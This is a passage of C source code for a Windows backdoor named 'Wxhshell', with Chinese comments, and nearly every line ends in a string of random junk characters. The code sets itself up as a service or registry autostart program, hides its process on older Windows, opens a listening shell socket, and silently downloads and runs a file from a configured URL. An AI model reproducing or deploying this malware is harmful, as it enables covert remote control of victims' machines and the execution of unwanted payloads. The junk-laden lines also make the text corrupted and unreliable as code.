DWORD AffinityMask; A>H*`{}
DWORD BasePriority; $>nkGb%Kp
ULONG UniqueProcessId; 4S^
ULONG InheritedFromUniqueProcessId; "9TxK6
} PROCESS_BASIC_INFORMATION; U.d'a~pH
UUZ6N ZQI
PROCNTQSIP NtQueryInformationProcess; S$Ns8=
9@kcK
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C#ZmgR
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $:xF)E
u XaL
HANDLE hProcess; uPM8GIvZX.
PROCESS_BASIC_INFORMATION pbi; Wdei`u[
iH($rSE
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K]*g, s+
if(NULL == hInst ) return 0; *Pa2bY3:
|^
2rtI
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QJ[(Y@ O6a
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); C]aOgt/U
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ru#T^AI*^
Z $ p^v*y
if (!NtQueryInformationProcess) return 0; )6PJ*;p-
BDarJY
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `;zu1o
if(!hProcess) return 0; eTLI/?|+N
i528e{&
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bjU 2UcI"<
;LwFbkOuU
CloseHandle(hProcess); ]C9%]`
<K|3Q'(S
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ex0
kb
if(hProcess==NULL) return 0; PR48~K,?
CnM+HN30o
HMODULE hMod; n0Qh9*h
char procName[255]; #
|[`1
unsigned long cbNeeded; U[K0{PbY
d=Rk\F'^J
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'vqj5YTj
AH"g^ gw~T
CloseHandle(hProcess); XhJ P87A
@5<]W+jk4
if(strstr(procName,"services")) return 1; // 以服务启动 e'}ePvN
D2hAlV)i(
return 0; // 注册表启动 P_:?}h\
} zsR wF
hX{g]KE>
// 主模块 ==PQ-Ia
int StartWxhshell(LPSTR lpCmdLine) V{ 4i$'
{ 9Bbm7Gd
SOCKET wsl; + MOe{:/6
BOOL val=TRUE; E.5*Jr=J
int port=0; !#cKF6%
struct sockaddr_in door; 4OqE.LFu
a PcGI
if(wscfg.ws_autoins) Install(); uFA|rX
*il]$i
port=atoi(lpCmdLine); 0ECO/EuCg
%XDip]+rb
if(port<=0) port=wscfg.ws_port; A>&>6O4
Bd N{[2
WSADATA data; ZmYa.4'L
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4iL.4Uj{N
~T;ajvJ
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; P?WT)C2)u
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $=@9 D,R
door.sin_family = AF_INET; h4$OXKme?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); C+Fh$
door.sin_port = htons(port); `uaD.m$EJ
cNuuzA
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N9>'/jgZX
closesocket(wsl); Jq$6$A,f
return 1; softfjl&l
} '.}6]l
s)`1Rf
if(listen(wsl,2) == INVALID_SOCKET) { g4.'T51
closesocket(wsl); {Q#Fen
;y|
return 1; iuH8g
} 32)&;
Wxhshell(wsl); \$$b",2
h
WSACleanup(); 0k]ju
vV&AG1_Mv
return 0; .zSimEOF
s[{:>~{iq
} -x3tx7%
"p6:ekw
// 以NT服务方式启动 #qiGOpTF.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RT_Pd\(qD
{ %0y3 /W
DWORD status = 0; 709Uv5
DWORD specificError = 0xfffffff; t?#vb}_
C[87f-g
serviceStatus.dwServiceType = SERVICE_WIN32; 2y
.-4?e
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hq&
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; j
44bF/
serviceStatus.dwWin32ExitCode = 0; YiQeI|{oN
serviceStatus.dwServiceSpecificExitCode = 0; 0.{oA`5N
serviceStatus.dwCheckPoint = 0; FRJ:ym=E
serviceStatus.dwWaitHint = 0; 8wH41v67F
zDGg\cPj9
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); kVG6\<c]
if (hServiceStatusHandle==0) return; 7}iewtdy,
ixI5Xd<
status = GetLastError(); _sf0{/< )
if (status!=NO_ERROR) 6{Cu~G{]N
{ J:TI>*tn
serviceStatus.dwCurrentState = SERVICE_STOPPED; Zc' >}X[G
serviceStatus.dwCheckPoint = 0; {pQ@0b
serviceStatus.dwWaitHint = 0; u;'<- _
serviceStatus.dwWin32ExitCode = status; *nUpO]
serviceStatus.dwServiceSpecificExitCode = specificError; c|;|%"Mk
SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Z0rTC3d
return; r{6B+3J
} <>5:u
OV@h$fg
serviceStatus.dwCurrentState = SERVICE_RUNNING; l]58P
serviceStatus.dwCheckPoint = 0; Z+h70,|
serviceStatus.dwWaitHint = 0; ~jRk10T(B
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UV
*tO15i
} xjn8)C
PE6u8ZAb"
// 处理NT服务事件,比如:启动、停止 a*n%SUP
VOID WINAPI NTServiceHandler(DWORD fdwControl) :x*|lz[
{ r#6l?+W ;
switch(fdwControl) >-tH&X^
{ 'i h
case SERVICE_CONTROL_STOP: 3{#pd6e5
serviceStatus.dwWin32ExitCode = 0; 5 1CU@1Ie
serviceStatus.dwCurrentState = SERVICE_STOPPED; WNlSve)]ie
serviceStatus.dwCheckPoint = 0; lh(+X-}D
serviceStatus.dwWaitHint = 0; J^+$L"K
{ C$re$9U
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yM#trqv5
} 5,
"^"*@<
return; @ !O&b%8X%
case SERVICE_CONTROL_PAUSE: y\f 8Ird
serviceStatus.dwCurrentState = SERVICE_PAUSED; *a0I Z
break; >"$-V Y6 i
case SERVICE_CONTROL_CONTINUE: id[>!fQ=Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; &t%&l0
break; J-%PyvK$?
case SERVICE_CONTROL_INTERROGATE: VOF:+o@.
break; '14l )1g.
}; Gp3t?7S{T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); %_J/&{6G
} YT%SCaU
^N}~U5
// 标准应用程序主函数 <+1w'-
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ZD] '$
{ q$2taG}
!L.z4n,n+
// 获取操作系统版本 H1ui#5n2
OsIsNt=GetOsVer(); d# ?*62
GetModuleFileName(NULL,ExeFile,MAX_PATH); F]&J%i
F[
b>AAx$2Y
// 从命令行安装 <~8f0+"
if(strpbrk(lpCmdLine,"iI")) Install(); PG~m-W+
#uw*8&%0
// 下载执行文件 fdEj#Ux<H
if(wscfg.ws_downexe) { g:e8i~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) K|J#/
WinExec(wscfg.ws_filenam,SW_HIDE); @j8L{FGnN
} UmI@":|-
96V, [-arf
if(!OsIsNt) { 3SB7)8Id1
// 如果时win9x,隐藏进程并且设置为注册表启动 /z- C
:k\
HideProc(); $6?KH7lA
StartWxhshell(lpCmdLine); :IKp7BS
} q\pc2Lh?^
else SD.*G'N&2f
if(StartFromService()) g8*|"{
// 以服务方式启动 ]~<T` )Hi
StartServiceCtrlDispatcher(DispatchTable); 5xV/&N
else 2iINQK$
// 普通方式启动 b({b5z.A
StartWxhshell(lpCmdLine); JI; i1@|b
['YRY B
return 0; qmeEUch`
}